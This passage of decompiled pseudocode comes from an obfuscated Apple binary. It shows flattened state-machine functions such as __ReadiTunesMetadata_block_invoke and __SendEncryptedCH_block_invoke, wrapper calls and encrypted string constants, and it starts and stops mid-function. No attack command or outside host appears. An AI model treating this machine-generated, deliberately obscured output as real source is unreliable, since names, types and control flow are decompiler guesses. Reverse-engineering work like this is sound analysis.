case -1540727781:
v5 = 0;
v3 = 1385611403;
v6 = -1540727781;
goto LABEL_760;
case -1527420572:
asc_10028255F[0] = v89;
asc_10028255F[1] = 0;
*v93 = -1644982001;
break;
case -1489563350:
v7 = 0;
v3 = -2044908646;
v8 = -472269108;
goto LABEL_712;
}
}
}
else if ( v58 <= -1694241644 )
{
if ( v58 > -1716928761 )
{
if ( v58 == -1716928760 )
{
v2 = 1;
v3 = -2121155224;
v4 = -993450831;
goto LABEL_764;
}
if ( v58 == -1694242446 )
{
v77 = v41 == v33;
*v93 = -115535850;
}
}
else if ( v58 == -1732163268 )
{
*v93 = 1307503170;
}
else if ( v58 == -1718241258 )
{
*v93 = 929127165;
}
}
else if ( v58 <= -1675373642 )
{
if ( v58 == -1694241643 )
{
*v93 = 658212299;
}
else if ( v58 == -1684308984 )
{
v10 = v90 == 81;
goto LABEL_639;
}
}
else
{
switch ( v58 )
{
case -1675373641:
*v93 = 1437219592;
break;
case -1665539640:
*v93 = -1993146435;
break;
case -1650540000:
v7 = !v70;
v3 = 171463238;
LABEL_381:
v8 = 508493612;
goto LABEL_712;
}
}
}
else if ( v58 <= -1266883974 )
{
if ( v58 <= -1399309056 )
{
if ( v58 > -1436168011 )
{
if ( v58 == -1436168010 )
{
v70 = HikariFunctionWrapper_19103(a1, "rangeOfString:options:range:") == (id)0x7FFFFFFFFFFFFFFFLL;
v2 = 1;
v3 = -1650540000;
goto LABEL_669;
}
if ( v58 == -1430362391 )
{
HikariFunctionWrapper_19119(a1, v65);
*v93 = -1864374475;
}
}
else if ( v58 == -1480062710 )
{
*v93 = 11674979;
}
else if ( v58 == -1449029796 )
{
v64 = v55;
v5 = 0;
v3 = 1889183055;
v6 = 1598408845;
goto LABEL_760;
}
}
else if ( v58 <= -1334131695 )
{
if ( v58 == -1399309055 )
{
v5 = 1;
v3 = -1936378773;
v6 = -653612891;
goto LABEL_760;
}
if ( v58 == -1382177586 )
*v93 = -1787459114;
}
else
{
switch ( v58 )
{
case -1334131694:
v2 = 0;
v3 = -1933656639;
v4 = -61651327;
goto LABEL_764;
case -1307816413:
v75 = v66 >= 0xB;
*v93 = -1399309055;
break;
case -1300515445:
v45 = "characterAtIndex:";
*v93 = 1785255648;
break;
}
}
}
else if ( v58 > -1179320780 )
{
if ( v58 <= -1159089912 )
{
if ( v58 == -1179320779 )
{
v5 = 1;
v3 = -726494365;
v6 = -856824351;
goto LABEL_760;
}
if ( v58 == -1167123421 )
*v93 = 449371101;
}
else
{
switch ( v58 )
{
case -1159089911:
*v93 = -990282958;
break;
case -1152326370:
objc_msgSend(a1, v46, 54, 1, CFSTR("\xCD\xDF"));
v5 = 0;
v3 = 781271941;
v6 = -2078469848;
goto LABEL_760;
case -1148965765:
*v93 = 1277737329;
v53 = 10;
break;
}
}
}
else if ( v58 <= -1254728269 )
{
if ( v58 == -1266883973 )
{
v7 = 0;
v3 = -2063925893;
v8 = 1238176241;
goto LABEL_712;
}
if ( v58 == -1261478217 )
{
v85 = v66 >= 0x25;
v2 = 1;
v3 = -984260150;
v4 = -1261478217;
goto LABEL_764;
}
}
else
{
switch ( v58 )
{
case -1254728268:
v7 = 0;
v51 = v62 + 1;
v3 = -1254728268;
v8 = 1201277248;
goto LABEL_712;
case -1210021003:
v73 = v66 >= 0x31;
v5 = 0;
v3 = 1560043695;
v6 = -1623295155;
goto LABEL_760;
case -1192141222:
v7 = 0;
v3 = 1733608951;
v8 = 1897424049;
goto LABEL_712;
}
}
}
if ( v58 <= -1936378774 )
break;
if ( v58 <= -1864374476 )
{
if ( v58 <= -1903281618 )
{
if ( v58 > -1931031715 )
{
if ( v58 == -1931031714 )
{
v7 = 0;
v3 = 1718967839;
v8 = 796922081;
goto LABEL_712;
}
if ( v58 == -1903382678 )
{
v9 = 0;
v3 = -1771611923;
v13 = -2055593396;
goto LABEL_756;
}
}
else if ( v58 == -1936378773 )
{
*v93 = -653612891;
}
else if ( v58 == -1933656639 )
{
asc_10028AAF6[0] = 47;
asc_10028AAF6[1] = 47;
asc_10028AAF6[2] = 47;
asc_10028AAF6[3] = 47;
asc_10028AAF6[4] = 47;
asc_10028AAF6[5] = 0;
*v93 = -61651327;
}
}
else if ( v58 <= -1882473000 )
{
if ( v58 == -1903281617 )
{
*v93 = 101578682;
v52 = 48;
}
else if ( v58 == -1889410993 )
{
v7 = !v72;
v3 = -765531218;
goto LABEL_381;
}
}
else
{
switch ( v58 )
{
case -1882472999:
v18 = -1449029796;
if ( v84 )
v18 = -2142376001;
*v93 = v18;
v55 = v49;
break;
case -1875623095:
v7 = !v73;
v3 = -1307816413;
v8 = -216681969;
goto LABEL_712;
case -1867993868:
v7 = !v71;
v3 = -765531218;
v8 = 1635948738;
goto LABEL_712;
}
}
}
else if ( v58 > -1788729164 )
{
if ( v58 <= -1771611924 )
{
if ( v58 == -1788729163 )
{
v63 = v54;
v5 = 0;
v3 = 1443102296;
v6 = -259431799;
goto LABEL_760;
}
if ( v58 == -1787459114 )
{
v2 = 1;
v3 = -1210021003;
v4 = -1623295155;
goto LABEL_764;
}
}
else
{
switch ( v58 )
{
case -1771611923:
v7 = 0;
v3 = -1771611923;
v8 = -137789724;
goto LABEL_712;
case -1753480179:
v5 = 0;
v3 = 1963613188;
v6 = -1791260243;
goto LABEL_760;
case -1745878785:
*v93 = -118742785;
break;
}
}
}
else if ( v58 <= -1808176613 )
{
if ( v58 == -1864374475 )
{
v22 = (unsigned __int16)objc_msgSend(a1, v65, v60);
v2 = 0;
v88 = v22;
v3 = -1430362391;
v4 = -242453657;
goto LABEL_764;
}
if ( v58 == -1863061538 )
{
v9 = v88 == 69;
goto LABEL_564;
}
}
else
{
switch ( v58 )
{
case -1808176612:
v11 = (__int16)v92 < 81;
v3 = 1038331117;
v12 = 1108205796;
goto LABEL_770;
case -1801378721:
v2 = 0;
v3 = 1745581837;
v4 = -935660241;
goto LABEL_764;
case -1791260243:
objc_msgSend(a1, v39, 6, 1, CFSTR("\xCD\xDF"));
*v93 = 1963613188;
break;
}
}
}
if ( v58 <= -2040070031 )
break;
if ( v58 <= -2017303568 )
{
if ( v58 > -2035603956 )
{
if ( v58 == -2035603955 )
{
*v93 = -46070200;
}
else if ( v58 == -2025010981 )
{
v2 = 1;
v3 = -1993146435;
v4 = -1665539640;
goto LABEL_764;
}
}
else
{
if ( v58 == -2040070030 )
{
v7 = 0;
v3 = -2040070030;
v8 = -1867993868;
goto LABEL_712;
}
if ( v58 == -2035758850 )
*v93 = 231562723;
}
}
else if ( v58 <= -1993146436 )
{
if ( v58 == -2017303567 )
{
v76 = (unsigned __int16)HikariFunctionWrapper_19107(a1, v65) == 81;
v7 = 0;
v3 = -2017303567;
v8 = -810511370;
goto LABEL_712;
}
if ( v58 == -2008277565 )
{
v7 = !v83;
v3 = -567676204;
v8 = -558374895;
goto LABEL_712;
}
}
else
{
switch ( v58 )
{
case -1993146435:
v82 = v66 >= 0x12;
*v93 = -256828149;
break;
case -1993079971:
v7 = 0;
v3 = -157123442;
v8 = -333107536;
goto LABEL_712;
case -1945451979:
v7 = !v69;
v3 = -71550777;
v8 = 634679242;
goto LABEL_712;
}
}
}
if ( v58 <= -2068247501 )
break;
if ( v58 <= -2055593397 )
{
if ( v58 == -2068247500 )
{
*v93 = -600694217;
}
else if ( v58 == -2063925893 )
{
*v93 = 1238176241;
}
}
else
{
switch ( v58 )
{
case -2055593396:
*v93 = -1771611923;
break;
case -2044908646:
dword_10029F624 = 1;
*v93 = -472269108;
break;
case -2043198723:
*v93 = 727178581;
break;
}
}
}
if ( v58 <= -2095391032 )
break;
if ( v58 == -2095391031 )
{
*v93 = -1753480179;
}
else if ( v58 == -2078469848 )
{
objc_msgSend(a1, v46, 54, 1, CFSTR("\xCD\xDF"));
*v93 = -1152326370;
}
}
if ( v58 == -2142376001 )
{
v5 = 1;
v3 = 535560608;
v6 = -1261478217;
goto LABEL_760;
}
if ( v58 == -2121155224 )
{
v14 = v66;
if ( v66 >= 0x27 )
v14 = 39;
v5 = 1;
v37 = v14;
v3 = -993450831;
v6 = 1278919559;
goto LABEL_760;
}
}
while ( v58 != -2139323798 );
return result;
}
// 1001DA30D: variable 'v43' is possibly undefined
// 1001DA390: variable 'v39' is possibly undefined
// 1001DA4CD: variable 'v51' is possibly undefined
// 1001DA4CD: variable 'v37' is possibly undefined
// 1001DB3C6: variable 'v38' is possibly undefined
// 1001DB4D1: variable 'v55' is possibly undefined
// 1001DB91B: variable 'v45' is possibly undefined
// 1001DBD2C: variable 'v53' is possibly undefined
// 1001DBDCA: variable 'v48' is possibly undefined
// 1001DC46F: variable 'v34' is possibly undefined
// 1001DC49E: variable 'v56' is possibly undefined
// 1001DC651: variable 'v49' is possibly undefined
// 1001DC651: variable 'v36' is possibly undefined
// 1001DC68D: variable 'v41' is possibly undefined
// 1001DC68D: variable 'v33' is possibly undefined
// 1001DC82B: variable 'v46' is possibly undefined
// 1001DCC7F: variable 'v40' is possibly undefined
// 1001DCC92: variable 'v52' is possibly undefined
// 1001DCE38: variable 'v54' is possibly undefined
// 1001DCF1B: variable 'v42' is possibly undefined
// 1001DD4F4: variable 'v50' is possibly undefined
// 1001DD972: variable 'v44' is possibly undefined
// 1001DD972: variable 'v35' is possibly undefined
// 1001DDD24: variable 'v31' is possibly undefined
// 1001DE062: variable 'v47' is possibly undefined
// 1001DE3DF: variable 'v32' is possibly undefined
// 10028AB20: using guessed type __CFString stru_10028AB20;
// 10029F624: using guessed type int dword_10029F624;
//----- (00000001001DE5C0) ----------------------------------------------------
__int64 __fastcall __ReadiTunesMetadata_block_invoke(__int64 a1, void *a2, void *a3)
{
__int64 result; // rax
char v5; // cf
int v6; // eax
int v7; // ecx
bool v8; // zf
int v9; // ecx
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // [rsp+10h] [rbp-C0h]
id v24; // [rsp+18h] [rbp-B8h]
const char *v25; // [rsp+20h] [rbp-B0h]
const char *v26; // [rsp+28h] [rbp-A8h]
id v27; // [rsp+30h] [rbp-A0h]
const char *v28; // [rsp+38h] [rbp-98h]
int v29; // [rsp+50h] [rbp-80h]
int v30; // [rsp+54h] [rbp-7Ch] BYREF
SEL v31; // [rsp+58h] [rbp-78h]
id *v32; // [rsp+60h] [rbp-70h]
SEL v33; // [rsp+68h] [rbp-68h]
id v34; // [rsp+70h] [rbp-60h]
id v35; // [rsp+78h] [rbp-58h]
id v36; // [rsp+80h] [rbp-50h]
id v37; // [rsp+88h] [rbp-48h]
id v38; // [rsp+90h] [rbp-40h]
bool v39; // [rsp+9Bh] [rbp-35h]
char v40; // [rsp+9Ch] [rbp-34h]
bool v41; // [rsp+9Dh] [rbp-33h]
bool v42; // [rsp+9Eh] [rbp-32h]
char v43; // [rsp+9Fh] [rbp-31h]
int *v44; // [rsp+A0h] [rbp-30h]
v30 = 888524295;
v44 = &v30;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v30;
if ( v30 > -143816688 )
break;
if ( v30 <= -1284419825 )
{
if ( v30 <= -1811254264 )
{
if ( v30 > -1999044326 )
{
if ( v30 > -1877320825 )
{
if ( v30 == -1877320824 )
{
objc_msgSend(v38, v26, v37, 1, v34);
v10 = 1;
v6 = -1877320824;
v11 = 2108075549;
LABEL_171:
if ( v10 )
v6 = v11;
LABEL_177:
*v44 = v6;
}
else if ( v30 == -1870874045 )
{
*v44 = 1765091243;
}
}
else
{
if ( v30 == -1999044325 )
{
v8 = 0;
v6 = 1623081054;
v9 = -939189548;
goto LABEL_175;
}
if ( v30 == -1955482986 )
{
v6 = -88146405;
goto LABEL_177;
}
}
}
else if ( v30 > -2109725818 )
{
if ( v30 == -2109725817 )
{
*v44 = -1472995135;
}
else if ( v30 == -2072231792 )
{
v5 = 1;
v6 = -859312187;
v7 = -2072231792;
goto LABEL_165;
}
}
else
{
if ( v30 == -2138111344 )
{
objc_release(v23);
v21 = objc_msgSend(a3, v33, CFSTR("Xu\xDF\x19O"));
v34 = objc_retainAutoreleasedReturnValue(v21);
objc_release(a3);
v32 = (id *)(a1 + 32);
v22 = objc_msgSend(*(id *)(a1 + 32), "count");
v41 = (__int64)v36 < (__int64)v22;
v5 = 0;
v6 = 954097321;
v7 = -365475192;
LABEL_165:
if ( !v5 )
v6 = v7;
goto LABEL_177;
}
if ( v30 == -2115549521 )
*v44 = -215213466;
}
}
else if ( v30 <= -1576714058 )
{
if ( v30 > -1735815244 )
{
if ( v30 == -1735815243 )
{
v10 = 0;
v6 = -1032533923;
v11 = 293915994;
goto LABEL_171;
}
if ( v30 == -1692900682 )
*v44 = 213333641;
}
else
{
if ( v30 == -1811254263 )
{
v5 = 1;
v6 = 1962675973;
v7 = 2059413453;
goto LABEL_165;
}
if ( v30 == -1793513159 )
{
v5 = 0;
v6 = -1692900682;
v7 = 213333641;
goto LABEL_165;
}
}
}
else if ( v30 <= -1528814455 )
{
if ( v30 == -1576714057 )
{
dword_10029F628 = 1;
objc_retain(a3);
objc_msgSend(a2, "integerValue");
*v44 = -1542493937;
}
else if ( v30 == -1542493937 )
{
dword_10029F628 = 1;
v31 = "integerValue";
objc_retain(a3);
v15 = HikariFunctionWrapper_19127(a2, v31);
v10 = 1;
v36 = v15;
v33 = "objectForKeyedSubscript:";
v6 = -1576714057;
v11 = 1291804321;
goto LABEL_171;
}
}
else
{
switch ( v30 )
{
case -1528814454:
objc_release(v34);
*v44 = -88146405;
break;
case -1472995135:
v8 = 0;
v6 = 715288430;
v9 = 849028869;
goto LABEL_175;
case -1427790953:
v10 = 0;
aXu[3] = v43;
aXu[4] = 0;
v6 = -963785862;
v11 = -1427790953;
goto LABEL_171;
}
}
}
else if ( v30 > -472778169 )
{
if ( v30 <= -321704226 )
{
if ( v30 > -372104558 )
{
if ( v30 == -372104557 )
{
*v44 = 1750178383;
}
else if ( v30 == -365475192 )
{
v8 = !v41;
v6 = -1955482986;
v9 = -1735815243;
goto LABEL_175;
}
}
else
{
if ( v30 == -472778168 )
goto LABEL_180;
if ( v30 == -372944816 )
*v44 = -1141139173;
}
}
else if ( v30 <= -271437746 )
{
if ( v30 == -321704225 )
{
v10 = 1;
v6 = 954097321;
v11 = -2138111344;
goto LABEL_171;
}
if ( v30 == -288799792 )
{
objc_msgSend(v38, v26, v37, 1, v34);
*v44 = -1877320824;
}
}
else
{
switch ( v30 )
{
case -271437745:
*v44 = -715427303;
break;
case -215213466:
v5 = 1;
v6 = -611162017;
v7 = 362721771;
goto LABEL_165;
case -175094201:
*v44 = -2072231792;
break;
}
}
}
else if ( v30 <= -946134357 )
{
if ( v30 > -1032533924 )
{
if ( v30 == -1032533923 )
{
v18 = objc_msgSend(*v32, "objectAtIndexedSubscript:", v36);
v19 = objc_retainAutoreleasedReturnValue(v18);
v5 = 1;
v24 = v19;
v6 = -4308742;
v7 = -1032533923;
goto LABEL_165;
}
if ( v30 == -963785862 )
*v44 = -1284419824;
}
else
{
if ( v30 == -1284419824 )
{
v10 = 1;
v6 = -1576714057;
v11 = -1542493937;
goto LABEL_171;
}
if ( v30 == -1141139173 )
{
v6 = 1765091243;
goto LABEL_177;
}
}
}
else if ( v30 <= -859312188 )
{
if ( v30 == -946134356 )
{
aXu[2] = v40;
v43 = 114;
*v44 = -472778168;
}
else if ( v30 == -939189548 )
{
v14 = objc_msgSend(a3, v33, CFSTR("\xFE\xD0\xB6\x83j"));
v23 = objc_retainAutoreleasedReturnValue(v14);
v37 = objc_msgSend(v23, v31);
v6 = 1209207648;
goto LABEL_177;
}
}
else
{
switch ( v30 )
{
case -859312187:
v8 = !v39;
v6 = -1284419824;
v9 = 1766349776;
goto LABEL_175;
case -715427303:
v5 = 0;
v6 = -288799792;
v7 = -1877320824;
goto LABEL_165;
case -611162017:
v39 = v29 == 0;
v8 = 0;
v6 = 362721771;
v9 = -34313647;
goto LABEL_175;
}
}
}
if ( v30 <= 893032524 )
break;
if ( v30 > 1764873316 )
{
if ( v30 <= 1964768675 )
{
if ( v30 > 1766349775 )
{
if ( v30 == 1766349776 )
{
asc_100283CF6[0] = 105;
asc_100283CF6[1] = 110;
asc_100283CF6[2] = 100;
asc_100283CF6[3] = 101;
asc_100283CF6[4] = 120;
asc_100283CF6[5] = 0;
aXu[0] = 99;
aXu[1] = 104;
v40 = 97;
*v44 = -946134356;
}
else if ( v30 == 1962675973 )
{
v8 = 0;
v6 = 2059413453;
v9 = 1323444165;
goto LABEL_175;
}
}
else
{
if ( v30 == 1764873317 )
{
HikariFunctionWrapper_19129(v27, v28);
objc_release(v35);
objc_release(v38);
v6 = 868718430;
goto LABEL_177;
}
if ( v30 == 1765091243 )
{
v28 = "setObject:atIndexedSubscript:";
*v44 = 2122501524;
}
}
}
else if ( v30 <= 2059413452 )
{
if ( v30 == 1964768676 )
{
*v44 = 2021191754;
}
else if ( v30 == 2021191754 )
{
v5 = 0;
v29 = dword_10029F628;
v6 = 1964768676;
v7 = -2115549521;
goto LABEL_165;
}
}
else
{
switch ( v30 )
{
case 2059413453:
*v44 = 1962675973;
break;
case 2108075549:
*v44 = 1535649682;
break;
case 2122501524:
*v44 = 315248680;
break;
}
}
}
else if ( v30 <= 1323444164 )
{
if ( v30 > 1209207647 )
{
if ( v30 == 1209207648 )
{
*v44 = -321704225;
}
else if ( v30 == 1291804321 )
{
*v44 = -1999044325;
}
}
else if ( v30 == 893032525 )
{
v38 = objc_msgSend(v24, "mutableCopy");
objc_release(v24);
v20 = objc_msgSend(v38, "length");
v42 = v20 > v37;
*v44 = -1811254263;
}
else if ( v30 == 954097321 )
{
objc_release(v23);
v12 = objc_msgSend(a3, v33, CFSTR("Xu\xDF\x19O"));
objc_retainAutoreleasedReturnValue(v12);
objc_release(a3);
objc_msgSend(*(id *)(a1 + 32), "count");
*v44 = -2138111344;
}
}
else if ( v30 <= 1535649681 )
{
if ( v30 == 1323444165 )
{
v8 = !v42;
v6 = 1535649682;
v9 = -1793513159;
LABEL_175:
if ( !v8 )
v6 = v9;
goto LABEL_177;
}
if ( v30 == 1458055847 )
{
v35 = objc_msgSend(v38, "copy");
v27 = *v32;
v6 = -372944816;
goto LABEL_177;
}
}
else
{
switch ( v30 )
{
case 1535649682:
v6 = 1458055847;
goto LABEL_177;
case 1623081054:
v16 = objc_msgSend(a3, v33, CFSTR("\xFE\xD0\xB6\x83j"));
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v17, v31);
*v44 = -939189548;
break;
case 1750178383:
v5 = 0;
v6 = -372104557;
v7 = 878336852;
goto LABEL_165;
}
}
}
if ( v30 > 574703971 )
break;
if ( v30 <= 213333640 )
{
if ( v30 > -34313648 )
{
if ( v30 == -34313647 )
{
*v44 = 624790528;
}
else if ( v30 == -4308742 )
{
*v44 = 893032525;
}
}
else if ( v30 == -143816687 )
{
objc_msgSend(v38, "copy");
*v44 = 1458055847;
}
else if ( v30 == -88146405 )
{
objc_release(v34);
v10 = 1;
v6 = -1528814454;
v11 = 574703972;
goto LABEL_171;
}
}
else if ( v30 <= 315248679 )
{
if ( v30 == 213333641 )
{
v10 = 0;
v25 = "characterAtIndex:";
v6 = -2109725817;
v11 = 213333641;
goto LABEL_171;
}
if ( v30 == 293915994 )
{
v13 = objc_msgSend(*v32, "objectAtIndexedSubscript:", v36);
objc_retainAutoreleasedReturnValue(v13);
*v44 = -1032533923;
}
}
else
{
switch ( v30 )
{
case 315248680:
v10 = 0;
v6 = 1764873317;
v11 = 379148834;
goto LABEL_171;
case 362721771:
*v44 = -611162017;
break;
case 379148834:
HikariFunctionWrapper_19133(v27, v28);
objc_release(v35);
objc_release(v38);
*v44 = 1764873317;
break;
}
}
}
if ( v30 > 807759526 )
break;
if ( v30 > 624790527 )
{
if ( v30 == 624790528 )
{
v5 = 1;
v6 = -2072231792;
v7 = -175094201;
goto LABEL_165;
}
if ( v30 == 715288430 )
{
HikariFunctionWrapper_19131(v38, v25);
*v44 = 849028869;
}
}
else if ( v30 == 574703972 )
{
*v44 = 616856156;
}
else if ( v30 == 616856156 )
{
v5 = 1;
v6 = 1750178383;
v7 = -372104557;
goto LABEL_165;
}
}
if ( v30 > 868718429 )
break;
if ( v30 == 807759527 )
{
aXu[3] = v43;
aXu[4] = 0;
LABEL_180:
*v44 = -1427790953;
}
else if ( v30 == 849028869 )
{
objc_msgSend(v38, v25, v37);
v10 = 1;
v26 = "replaceCharactersInRange:withString:";
v6 = 715288430;
v11 = -271437745;
goto LABEL_171;
}
}
if ( v30 != 868718430 )
break;
*v44 = -1955482986;
}
if ( v30 == 888524295 )
{
v6 = 2021191754;
goto LABEL_177;
}
}
while ( v30 != 878336852 );
return result;
}
// 1001DE76F: variable 'v29' is possibly undefined
// 1001DE7DF: variable 'v27' is possibly undefined
// 1001DE7DF: variable 'v28' is possibly undefined
// 1001DEB3C: variable 'v23' is possibly undefined
// 1001DED5B: variable 'v25' is possibly undefined
// 1001DEE40: variable 'v26' is possibly undefined
// 1001DF576: variable 'v24' is possibly undefined
// 10028ABA0: using guessed type __CFString cfstr_Xu_0;
// 10028ABE0: using guessed type __CFString stru_10028ABE0;
// 10029F628: using guessed type int dword_10029F628;
//----- (00000001001DF984) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_copy__1(__int64 a1, __int64 a2)
{
__int64 result; // rax
_QWORD *v3; // rdi
int v4; // r8d
_QWORD *v5; // [rsp+0h] [rbp-28h]
_QWORD *v6; // [rsp+8h] [rbp-20h]
__int64 v7; // [rsp+10h] [rbp-18h]
int v8; // [rsp+1Ch] [rbp-Ch] BYREF
int *v9; // [rsp+20h] [rbp-8h]
v8 = 895369060;
v9 = &v8;
result = 1579193191;
v3 = (_QWORD *)(a1 + 40);
do
{
while ( 1 )
{
while ( v8 <= 895369059 )
{
switch ( v8 )
{
case -539681871:
*v9 = 1579193191;
break;
case -64067452:
*v9 = 142713344;
break;
case 142713344:
*v5 = v7;
*v6 = 0;
*v9 = 1056149653;
break;
}
}
if ( v8 != 895369060 )
break;
v4 = 1579193191;
LABEL_13:
*v9 = v4;
}
if ( v8 == 1579193191 )
{
v5 = v3;
v6 = (_QWORD *)(a2 + 40);
v7 = *(_QWORD *)(a2 + 40);
v4 = -64067452;
goto LABEL_13;
}
}
while ( v8 != 1056149653 );
return result;
}
// 1001DFAAC: conditional instruction was optimized away because %var_10.4==F217B2B3
// 1001DFA13: variable 'v7' is possibly undefined
// 1001DFA13: variable 'v5' is possibly undefined
// 1001DFA1A: variable 'v6' is possibly undefined
//----- (00000001001DFACB) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_dispose__1(__int64 a1)
{
__int64 result; // rax
int v2; // eax
char v3; // cf
int v4; // ecx
int v5; // ecx
id v6; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
v7 = 1732183318;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v7;
if ( v7 <= 132641213 )
break;
if ( v7 > 1711365851 )
{
switch ( v7 )
{
case 1711365852:
*v8 = 132641214;
break;
case 1738161185:
v2 = -143675118;
goto LABEL_31;
case 1732183318:
v3 = 1;
v2 = 132641214;
v4 = 1711365852;
goto LABEL_24;
}
}
else
{
switch ( v7 )
{
case 132641214:
v6 = *(id *)(a1 + 40);
v5 = 94091423;
LABEL_29:
v2 = v5;
goto LABEL_31;
case 376482854:
v5 = -98882559;
goto LABEL_29;
case 408564131:
v2 = 1738161185;
goto LABEL_31;
}
}
}
if ( v7 > -143675119 )
break;
switch ( v7 )
{
case -1398706945:
objc_release(v6);
*v8 = -98882559;
break;
case -412832480:
*v8 = 408564131;
break;
case -391132203:
*v8 = 1738161185;
break;
}
}
if ( v7 != -98882559 )
break;
objc_release(v6);
v3 = 0;
v2 = -1398706945;
v4 = -412832480;
LABEL_24:
if ( !v3 )
v2 = v4;
LABEL_31:
*v8 = v2;
}
if ( v7 != 94091423 )
break;
*v8 = 376482854;
}
}
while ( v7 != -143675118 );
return result;
}
// 1001DFC36: variable 'v6' is possibly undefined
//----- (00000001001DFDE0) ----------------------------------------------------
__int64 __fastcall __SendEncryptedCH_block_invoke(__int64 a1, void *a2, __int64 a3, void *a4)
{
__int64 result; // rax
int v7; // eax
bool v8; // zf
int v9; // ecx
char v10; // cf
char v11; // cf
int v12; // ecx
int v13; // ecx
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
void *v18; // rdi
void *v19; // rdi
id v20; // rax
id v21; // rax
void *v22; // rdi
id v23; // [rsp+0h] [rbp-B0h]
_QWORD *v24; // [rsp+8h] [rbp-A8h]
__int64 v25; // [rsp+10h] [rbp-A0h]
_QWORD *v26; // [rsp+18h] [rbp-98h]
void *v27; // [rsp+20h] [rbp-90h]
id v28; // [rsp+28h] [rbp-88h]
void **v29; // [rsp+30h] [rbp-80h]
__int64 v30; // [rsp+38h] [rbp-78h]
void *v31; // [rsp+40h] [rbp-70h]
id v32; // [rsp+48h] [rbp-68h]
int v33; // [rsp+58h] [rbp-58h]
int v34; // [rsp+5Ch] [rbp-54h] BYREF
id v35; // [rsp+60h] [rbp-50h]
id v36; // [rsp+68h] [rbp-48h]
void **v37; // [rsp+70h] [rbp-40h]
bool v38; // [rsp+7Ch] [rbp-34h]
bool v39; // [rsp+7Dh] [rbp-33h]
bool v40; // [rsp+7Eh] [rbp-32h]
char v41; // [rsp+7Fh] [rbp-31h]
int *v42; // [rsp+80h] [rbp-30h]
v34 = 1885354217;
v42 = &v34;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v34;
if ( v34 <= -152015723 )
break;
if ( v34 > 767468258 )
{
if ( v34 > 1388631067 )
{
if ( v34 <= 1759859269 )
{
if ( v34 > 1455268498 )
{
if ( v34 == 1455268499 )
{
v32 = v31;
v8 = 0;
v7 = 1895889267;
v9 = 210522699;
goto LABEL_175;
}
if ( v34 == 1639212302 )
*v42 = -1880701184;
}
else if ( v34 == 1388631068 )
{
*v42 = -364462936;
}
else if ( v34 == 1417160357 )
{
*v42 = 1455268499;
v31 = v36;
}
}
else if ( v34 <= 1895889266 )
{
if ( v34 == 1759859270 )
{
v10 = 0;
v7 = -704920992;
v13 = -174558410;
goto LABEL_166;
}
if ( v34 == 1885354217 )
{
v10 = 1;
v7 = -1449907337;
v13 = -234950690;
goto LABEL_166;
}
}
else
{
switch ( v34 )
{
case 1895889267:
objc_release(v32);
*v42 = 210522699;
break;
case 1922199134:
*v37 = CFSTR("\xCD\x7D\xA7mZ\x0F\a\b\xDE\x77T\x8A");
*v42 = -817490732;
break;
case 1924402258:
v10 = 1;
v7 = -224535553;
LABEL_134:
v13 = -954955008;
goto LABEL_166;
}
}
}
else if ( v34 <= 1091575006 )
{
if ( v34 > 859713809 )
{
if ( v34 == 859713810 )
{
v20 = objc_msgSend(a4, "localizedDescription");
objc_retainAutoreleasedReturnValue(v20);
*v42 = 637519069;
}
else if ( v34 == 907466559 )
{
v30 = *(_QWORD *)(a1 + 40) + 8LL;
*v42 = 437808646;
}
}
else if ( v34 == 767468259 )
{
v19 = *(void **)(*(_QWORD *)v25 + 40LL);
*(_QWORD *)(*(_QWORD *)v25 + 40LL) = v23;
objc_release(v19);
v26 = (_QWORD *)(*v24 + 8LL);
*v42 = 85223542;
}
else if ( v34 == 796302067 )
{
v10 = 1;
v7 = -364462936;
v13 = 1388631068;
goto LABEL_166;
}
}
else if ( v34 <= 1188198649 )
{
if ( v34 == 1091575007 )
{
v11 = 1;
v7 = 1091575007;
v12 = 358733912;
goto LABEL_186;
}
if ( v34 == 1117850936 )
LABEL_94:
*v42 = -766600110;
}
else
{
switch ( v34 )
{
case 1188198650:
v10 = 1;
v7 = 329523199;
v13 = 81121115;
goto LABEL_166;
case 1225090229:
v15 = objc_alloc((Class)v35);
v23 = HikariFunctionWrapper_19135(v15, "initWithData:encoding:");
v24 = (_QWORD *)(a1 + 32);
v25 = *(_QWORD *)(a1 + 32) + 8LL;
*v42 = 767468259;
break;
case 1225676866:
*v42 = -869603915;
break;
}
}
}
else if ( v34 > 228672957 )
{
if ( v34 <= 412096323 )
{
if ( v34 > 329523198 )
{
if ( v34 == 329523199 )
{
v11 = 0;
aB_11[0] = 69;
v7 = 178587528;
v12 = 81121115;
goto LABEL_186;
}
if ( v34 == 358733912 )
{
v8 = !v38;
v7 = -1723367452;
v9 = 1188198650;
goto LABEL_175;
}
}
else
{
if ( v34 == 228672958 )
{
v7 = 637519069;
goto LABEL_188;
}
if ( v34 == 306853262 )
{
v11 = 0;
v7 = 581840611;
LABEL_147:
v12 = -442610863;
goto LABEL_186;
}
}
}
else if ( v34 <= 581840610 )
{
if ( v34 == 412096324 )
{
*v42 = -1723367452;
}
else if ( v34 == 437808646 )
{
LABEL_171:
*v42 = -157236928;
}
}
else
{
switch ( v34 )
{
case 581840611:
v18 = *v29;
*v29 = v28;
objc_release(v18);
v11 = 0;
v7 = 1417160357;
goto LABEL_147;
case 637519069:
v16 = objc_msgSend(a4, "localizedDescription");
v17 = objc_retainAutoreleasedReturnValue(v16);
v11 = 1;
v36 = v17;
v7 = 637519069;
v12 = -1677017629;
goto LABEL_186;
case 666503060:
objc_release(a2);
v8 = 0;
v7 = -1589440538;
v9 = -896457357;
goto LABEL_175;
}
}
}
else if ( v34 <= 81121114 )
{
if ( v34 > -81743845 )
{
if ( v34 == -81743844 )
{
v11 = 1;
v27 = *v37;
v7 = -22185944;
